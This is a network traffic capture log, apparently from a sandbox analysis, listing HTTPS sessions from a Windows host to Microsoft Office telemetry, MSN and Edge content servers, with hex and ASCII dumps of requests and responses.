2024-11-18 03:41:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 03:41:36 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: f96acd97-a01e-000d-6d86-36d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T034136Z-164f84587bfrrmqdhC1DFWvu6s00000003s000000000nu03 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 03:41:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49924	20.125.209.212	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:36 UTC	1175	OUT	GET /c.gif?rnd=1731901295409&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a43a09c4f5cf4767a1730934a9d14de9&activityId=a43a09c4f5cf4767a1730934a9d14de9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
2024-11-18 03:41:37 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731901295409&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=a43a09c4f5cf4767a1730934a9d14de9&activityId=a43a09c4f5cf4767a1730934a9d14de9&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=019EA19FC48B48A7BAC1328C7711DC5F&RedC=c.msn.com&MXFR=173F2CCF736C687C022A39F472CD694D Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=173F2CCF736C687C022A39F472CD694D; domain=.msn.com; expires=Sat, 13-Dec-2025 03:41:36 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 18 Nov 2024 03:41:36 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49926	20.75.60.91	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:37 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=173F2CCF736C687C022A39F472CD694D&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c04b42fa46ca40c088478c48451b595a HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=173F2CCF736C687C022A39F472CD694D; _EDGE_S=F=1&SID=12B306886C7469E01D8C13B36D126862; _EDGE_V=1
2024-11-18 03:41:37 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 18 Nov 2024 03:41:36 GMT Connection: close
2024-11-18 03:41:37 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49932	23.47.50.150	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:37 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOP1.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:37 UTC	518	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 02:47:37 GMT X-Datacenter: eastus X-ActivityId: 5a6820f7-bfbe-479a-ab51-926a221c0b3e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOP1 X-Source-Length: 93971 Content-Length: 93971 Cache-Control: public, max-age=67966 Expires: Mon, 18 Nov 2024 22:34:23 GMT Date: Mon, 18 Nov 2024 03:41:37 GMT Connection: close
2024-11-18 03:41:37 UTC	15866	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 03:41:37 UTC	16384	IN	Data Raw: a4 36 cb df b3 ba c7 b3 04 ed 90 f6 e2 c2 e6 e2 15 12 1c 08 23 50 44 21 50 5e 9a f9 a6 e1 58 88 88 04 75 48 8b 6b 98 b4 55 49 21 35 87 dd 35 26 9a 44 0e 7e 35 49 54 56 24 0a c4 e4 3a d3 25 88 82 73 12 46 2c 8f 29 d5 48 5d 8d c6 6d ee 35 cf db 1b cd 13 3b 65 ce 68 24 82 2e d8 34 30 69 78 42 73 cb ea e3 26 05 79 08 4a a2 ca 49 52 35 6d 63 cb 5c f6 87 76 43 9c 40 9c 23 10 01 c4 8f c4 49 02 4e 65 45 b3 aa 23 1d 30 c2 ef d6 d3 47 11 31 13 3d c0 55 c0 10 0c 29 02 b4 c1 ad 79 db 8a aa 65 6e a9 71 fa 29 25 31 ae 97 e2 b4 2c 69 c5 4d 28 96 43 62 66 0e 29 81 59 31 87 5a 6b 9a bc 6c 6b dc 58 de d3 88 37 17 71 6e 2b 56 04 90 3a 20 95 58 4e 0c 52 db c4 4f 75 a6 70 e9 d5 4b 52 aa 41 6c 45 6f 3e 54 f9 a5 34 8f 1c b8 26 d6 cd c8 02 b5 e4 26 38 d8 2d 03 88 ad 46 87 29 1d Data Ascii: 6#PD!P^XuHkUI!55&D~5ITV$:%sF,)H]m5;eh$.40ixBs&yJIR5mc\vC@#INeE#0G1=U)yenq)%1,iM(Cbf)Y1ZklkX7qn+V: XNROupKRAlEo>T4&&8-F)
2024-11-18 03:41:37 UTC	2689	IN	Data Raw: cc 99 ce ca d2 0c 19 c8 45 ea b3 1d 04 82 d0 6b 50 e2 40 a7 28 77 ba a9 07 3a 4d 94 43 71 18 32 64 d6 b0 78 ac a2 c5 12 20 1e a2 6e d3 71 06 2b 65 9d 79 10 66 b4 f4 e1 6e aa 84 dc 52 d6 14 06 66 2a 6b aa 89 fc a6 bc bd 62 2b d5 05 65 d2 1c 5c 6f d2 f5 d3 45 0d 70 26 b4 eb 68 eb 62 86 58 e8 2e 83 84 10 31 65 26 48 f3 85 27 aa 0b b8 38 bc d2 4b 9c 60 61 10 0f 5b cc 92 2b ce 55 07 46 d9 93 6b 0b c9 b5 81 a4 0e 0b 9b 6c 12 1d 04 d8 d2 40 91 a7 59 d0 23 34 c0 6e 29 70 ac b6 63 3b 50 cd 4f ba 63 2a 21 bb 8e 26 03 45 04 34 90 db 6a e2 7f 95 b0 06 48 37 b4 52 63 50 7a 84 f0 b9 ae 20 c1 ce 41 11 c2 25 ab 0d a9 ac cd a8 01 12 33 e5 09 d3 3c 41 70 b4 35 bd d8 84 d6 86 87 4e a9 b8 b3 07 6f 6b ad 84 09 10 3f d4 4c c9 e8 2b a8 45 a3 59 63 06 7b 64 1f 5a 8f 9a 0e 17 3d Data Ascii: EkP@(w:MCq2dx nq+eyfnRfkb+e\oEp&hbX.1e&H'8K`a[+UFkl@Y#4n)pc;POc!&E4jH7RcPz A%3<Ap5Nok?L+EYc{dZ=
2024-11-18 03:41:37 UTC	16384	IN	Data Raw: 14 b8 0f 4e b9 ab 76 28 e7 5a 6b c3 35 0e 0e 1e 95 f4 52 11 c4 48 87 54 92 0d 22 04 d2 49 92 ea 6b a4 28 34 a4 9b da 0f 9f 14 da 70 65 5c f2 a7 8a a4 23 43 32 22 b9 29 63 12 08 10 39 ce a7 4d 07 45 a2 97 32 3c 80 5a 3a 52 4c 4e 7c 8d 13 ec ac 12 22 22 73 f2 b4 75 41 49 34 98 a7 01 3c d1 71 54 b9 b2 09 6f 68 69 23 0d 73 24 54 08 88 9e b2 82 40 8b cf 0f 4b d3 ad 16 98 3d 3a 28 c8 21 25 f5 2e a9 26 4e 66 6a 49 d7 8a ac 2e 74 40 8a c6 84 f9 88 f1 55 4e 3b 8e 2d 71 6b 41 c2 d0 dc 20 32 70 80 2a 03 44 bb fc 8e 66 b2 8b 1b 85 a1 a5 ce 2d 93 86 7f f9 60 dd f8 66 9a 12 42 8f a4 05 a0 07 f7 8e d1 42 29 31 9e 19 b1 d0 d5 63 d9 af 1b 1e 08 bb 90 21 87 00 0d c5 07 ba b5 26 fa 7f 8d 05 ea b1 3f a8 c9 6b 81 6e 17 00 40 23 15 08 c4 1c 2a 30 e5 10 79 27 d0 7a b9 27 92 c4 Data Ascii: Nv(Zk5RHT"Ik(4pe\#C2")c9ME2<Z:RLN\|""suAI4<qTohi#s$T@K=:(!%.&NfjI.t@UN;-qkA 2pDf-`fBB)1c!&?kn@#0y'z'
2024-11-18 03:41:37 UTC	16384	IN	Data Raw: 6e 23 e4 b3 a7 1c bb e0 35 97 19 e5 04 71 b9 5e 6c 02 bd 1d d2 37 43 87 22 29 02 f6 f1 2b 91 f4 02 84 00 63 f8 5d ba b9 77 3d a1 86 e0 44 1e 28 db 83 b4 13 e0 20 ec e3 dc 34 6b 9d 11 20 02 6e 60 4c 5a 49 03 9a 37 73 e8 05 8d be 55 95 a7 30 66 20 c1 13 6a 64 8a 48 36 d3 c1 49 c2 8d 65 00 04 9b 00 65 d9 4d c8 11 41 60 67 55 23 6e b1 6e b9 7a 14 b2 23 0c 9b 13 59 cf d1 10 1d 79 75 01 0e 1c c7 12 08 31 40 5a 69 cc 13 06 a8 ed 70 ac d4 47 23 d1 2c 90 dc 6b 36 b7 19 fa f6 df 8c 34 07 38 1c 6c 73 4c e2 61 11 18 aa 08 a8 21 03 0e be 0e 53 d1 74 5e 48 14 a5 6f 1f 75 0e 69 00 45 ef 33 79 e8 b5 19 04 cb 25 a0 83 20 13 4e 30 24 48 ea 85 4f ba 39 6f dc a4 fd bc 39 f7 66 0c 53 dd 68 39 cb 6f 33 e8 b0 ed 24 5e 69 5f e5 18 17 03 42 68 71 37 a3 86 7c d4 ba 93 20 e2 26 a4 Data Ascii: n#5q^l7C")+c]w=D( 4k n`LZI7sU0f jdH6IeeMA`gU#nnz#Yyu1@ZipG#,k648lsLa!St^HouiE3y% N0$HO9o9fSh9o3$^i_Bhq7\| &
2024-11-18 03:41:37 UTC	7952	IN	Data Raw: d6 1d 84 56 26 2d 9f 43 c5 71 b1 df af 67 60 dd 18 48 ac c5 26 3c 59 75 7e ce d0 24 44 45 6e 34 8e 2b ca 79 c8 b6 1d 63 34 f2 1e cb 35 f0 d1 39 5f 2e 0b 18 e9 a7 f1 0f 20 35 c0 c9 b1 5e 46 eb 85 e6 78 7b af 53 71 8e c2 c7 90 40 7b 65 a4 d9 e2 48 91 c4 47 35 e5 6e 06 c7 e3 06 69 5b 5e 64 75 a4 55 6b aa ed 41 80 74 27 82 1b 99 4a 9a e5 4a 55 13 08 26 45 00 3d 68 ba 4f c6 6f 1d cd a7 3b 03 ff 00 4e db b6 58 1c c0 47 eb 38 86 12 22 b1 8c 90 4d 41 88 b2 f4 75 cf 7b 8f 3f 79 7d a6 bc e7 35 b3 35 c3 94 c0 3f 78 cd 22 d1 48 33 23 2c ab 63 d5 14 ed 81 5a 9e a8 a3 6d a4 08 9b d4 88 a0 d2 33 56 8e 35 ca e6 80 75 f4 e0 8c 36 c5 d1 06 db 4c 56 01 35 c8 fd 0a 4e a4 0c 56 14 a4 1b 9b eb cd 1a dc 86 dc 46 18 26 b1 49 89 39 7a a2 3b 6f 03 a2 67 0d ce 40 f3 f6 e6 82 0f 5e Data Ascii: V&-Cqg`H&<Yu~$DEn4+yc459_. 5^Fx{Sq@{eHG5ni[^duUkAt'JJU&E=hOo;NXG8"MAu{?y}55?x"H3#,cZm3V5u6LV5NVF&I9z;og@^
2024-11-18 03:41:37 UTC	16384	IN	Data Raw: 4a 69 a7 9b 1c 49 22 aa 12 59 fc 9f 71 c7 52 92 a2 92 3f 23 53 a5 fa 06 54 22 15 25 1f 94 fe 30 8a 19 45 28 65 6a 7c ba 3f 10 45 0c a2 94 32 b5 f9 47 e3 0c a1 94 42 a4 a7 f2 2f c6 1a 85 65 49 57 33 c1 17 52 55 15 32 b5 c9 70 4a 94 ca 92 53 3b 2e 09 2a 4a 72 a0 94 f2 5c 18 a9 5a 54 ca 79 2e 0c 52 52 5c a4 b9 5a b8 a9 64 32 f5 1f b1 06 75 1d 35 cf fb 02 df b9 a3 31 e6 8b 2f d1 a9 8e 89 4a 57 2b be 25 82 b8 82 03 be 31 83 aa 27 c7 df b7 fa 68 e7 d2 7f aa 7e af 43 10 54 1c bc 7f f7 cc ea 91 f8 e7 64 d3 c5 6b fd bf c9 7d 99 fc df 1c f7 7b ed 2b b7 6d b8 97 c6 3f fe 53 75 8e 22 02 bd bf f9 1f 8c 73 27 f6 96 5f fd 3e 81 72 ef fc 07 cb db df ac ff 00 9f 66 ba ff 00 19 f1 cf 19 da be e8 ec 3a 26 0a f2 be 23 7b 6f 6c c1 7b 47 49 5f 29 bb f1 9f 13 b9 47 6f 3c d2 c5 Data Ascii: JiI"YqR?#ST"%0E(ej\|?E2GB/eIW3RU2pJS;.*Jr\ZTy.RR\Zd2u51/JW+%1'h~CTdk}{+m?Su"s'_>rf:&#{ol{GI_)Go<
2024-11-18 03:41:37 UTC	1928	IN	Data Raw: a9 57 45 92 24 d1 0e b3 4a 2d 88 05 25 c0 73 44 8d 89 10 b2 8f d8 0a c0 f3 e0 ac 1a b5 51 55 18 b4 13 ea b6 37 73 1e e1 04 48 5a 88 12 6a 26 46 99 a8 c5 4d 47 a2 78 8d 74 62 01 6c 7f c7 d1 73 cc 18 3a 66 94 f8 36 f3 57 11 c9 d1 fb 2d d7 87 d9 2c 67 c7 82 82 09 e1 d0 cf b2 d3 cb ff 00 84 ab 8a da 3e 3f 02 16 c4 7c 7d c2 0c f3 f5 09 ce 77 e5 43 e4 ac 5a 36 29 f1 f7 58 1c 8d 34 28 53 9c c8 d0 dd 69 cd b4 e8 8c 3a 34 cb ba 8c c2 41 d2 26 e7 c6 88 77 a8 be 89 82 0b a6 ca c5 aa 92 e1 4e 23 f9 5a 97 b7 9f c9 4c c1 ee 17 cd 31 39 43 86 8a c2 ae b1 3e 47 ee 98 75 32 3d 2a 14 52 68 4b 4e 99 27 7f c8 7f dc 14 96 5d 84 67 c8 d4 2c 6a d0 44 18 50 45 2f 88 7b ad 43 f8 d0 e8 84 bc 41 c2 26 12 26 90 e1 4d 42 52 0d 1c 23 aa d2 e6 8a 59 48 c4 da 8e 1d 52 06 3f c9 be 89 1c Data Ascii: WE$J-%sDQU7sHZj&FMGxtbls:f6W-,g>?\|}wCZ6)X4(Si:4A&wN#ZL19C>Gu2=*RhKN']g,jDPE/{CA&&MBR#YHR?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49931	23.47.50.150	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:37 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:37 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=261233 Expires: Thu, 21 Nov 2024 04:15:30 GMT Date: Mon, 18 Nov 2024 03:41:37 GMT Connection: close
2024-11-18 03:41:37 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	49929	23.47.50.150	443	6392	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 03:41:37 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 03:41:37 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=251339 Expires: Thu, 21 Nov 2024 01:30:36 GMT Date: Mon, 18 Nov 2024 03:41:37 GMT Connection: close
